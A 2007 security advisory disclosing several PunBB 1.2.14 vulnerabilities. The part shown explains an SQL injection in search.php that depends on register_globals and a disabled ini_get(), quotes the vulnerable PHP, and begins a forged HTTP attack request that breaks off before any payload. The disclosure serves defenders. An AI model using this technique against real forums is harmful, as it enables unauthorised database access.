|
Title: PunBB <= 1.2.14 Multiple Vulnerabilities
Author: DarkFig < gmdarkfig (at) gmail (dot) com >
Written on: 2007/04/08
Released on: 2007/04/11
Risk level: High
URL: http://www.acid-root.new.fr/advisories/13070411.txt
Summary: SQL Injection, Cross site scripting, Code execution
Solution: A new version of PunBB (1.2.15) has been released.
-=[ DESCRIPTION ]
PunBB is a fast and lightweight PHP-powered discussion board. It is
released under the GNU General Public License. Its primary goals are
to be faster, smaller and less graphically intensive as compared to
other discussion boards. PunBB has fewer features than many other
discussion boards, but is generally faster and outputs smaller,
semantically correct XHTML-compliant pages.
-=[ VULN #1 ]
Risk level: Medium
Type: SQL Injection
Conditions: PHP <= 4.4.2 or PHP <= 5.1.3
register_globals=On
ini_get() problem
The "search.php" file contains the following php code:
49| if (isset($_GET['action']) || isset($_GET['search_id']))
| [...]
54| if (isset($search_id)) unset($search_id);
55|
56| // If a search_id was supplied
57| if (isset($_GET['search_id']))
58| {
59| $search_id = intval($_GET['search_id']);
60| if ($search_id < 1)
61| message($lang_common['Bad request']);
62| }
| [...]
100| if (isset($search_id))
104| $result = $db->query('SELECT search_data FROM '.$db->prefix
| .'search_cache WHERE id='.$search_id.' AND ident=\''
| .$db->escape($ident).'\'') or [...]
When I did see this code, I thought that there was an SQL Injection with
the Zend_Hash_Del_Key_Or_Index vulnerability and register_globals=On.
But let's see another file, the "include/common.php" file contains
the following code:
39| // Reverse the effect of register_globals
40| if (@ini_get('register_globals'))
41| unregister_globals();
If ini_get('register_globals') returns TRUE, the unregister_globals()
function is called. The "@" has been used if an error occured (Warning..),
because on many servers this function is disabled for security reasons.
It's the case on my server, if I remove @, I obtain this :
Warning: ini_get() has been disabled for security reasons in [...]
In this case, ini_get('register_globals') returns FALSE even if
register_globals=On, so unregister_globals() isn't called. The
unregister_globals() functions contains the following code:
1037| function unregister_globals()
1038| {
1039| // Prevent script.php?GLOBALS[foo]=bar
1040| if (isset($_REQUEST['GLOBALS']) || isset($_FILES['GLOBALS']))
1041| exit('bip bip biiiiiiiip');
1042| =09
1043| // Variables that shouldn't be unset
1044| $no_unset = array('GLOBALS', '_GET', '_POST', '_COOKIE',
| '_REQUEST', '_SERVER', '_ENV', '_FILES');
1045|
1046| // Remove elements in $GLOBALS that are present in any of
| the superglobals
1047| $input = array_merge($_GET, $_POST, $_COOKIE, $_SERVER, $_ENV,
| $_FILES, isset($_SESSION) && is_array($_SESSION) ? $_SESSION : array());
1048| foreach ($input as $k => $v)
1049| {
1050| if (!in_array($k, $no_unset) && isset($GLOBALS[$k]))
1051| {
1052| unset($GLOBALS[$k]);
1053| unset($GLOBALS[$k]); // zend_hash_del_key_or_index protection
1054| }
1055| }
1056| }
If register_globals=On and if there is a problem (see [1] / [2] for
example) concerning the ini_get() function, there is an SQL Injection
(with the Zend_Hash_Del_Key_Or_Index vulnerability). The attacker will
forge an HTTP packet which looks like this:
GET /punbb1-2-14/search.php?action=show_new HTTP/1.1\r\n
Host: localhost\r\n
Connection: keep-alive\r\n
Cookie: punbb_cookie=